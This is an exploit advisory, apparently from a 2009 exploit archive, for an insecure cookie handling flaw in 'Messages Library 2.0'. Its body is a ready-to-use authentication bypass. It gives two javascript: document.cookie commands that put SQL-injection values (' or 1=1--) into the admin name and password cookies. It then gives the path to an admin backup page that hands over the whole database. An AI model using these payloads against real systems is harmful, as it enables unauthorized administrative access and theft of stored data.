Messages Library 2.0 Insecure Cookie Handling Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Messages Library 2.0 Insecure Cookie Handling Vulnerability
# Published : 2009-07-01
# Author : Stack
# Previous Title : Messages Library 2.0 Arbitrary Delete Message Vulnerability
# Next Title : KerviNet Forum <= 1.1 Multiple Remote Vulnerabilities

# Messages Library 2.0 <=  Arbitrary Database Download Vulnerability
########################################
#[*] Founded &  Exploited by : Stack
########################################
 
Bypass with
 
javascript:document.cookie = "SaphpLesson_Name=admin' or 1=1--; path=/";
javascript:document.cookie = "SaphpLesson_Password=' or 1=1--; path=/";
 
After Exec
 
http://localhost/sms/admin/backup.php
 
and you got the database download

# www.Syue.com [2009-07-01]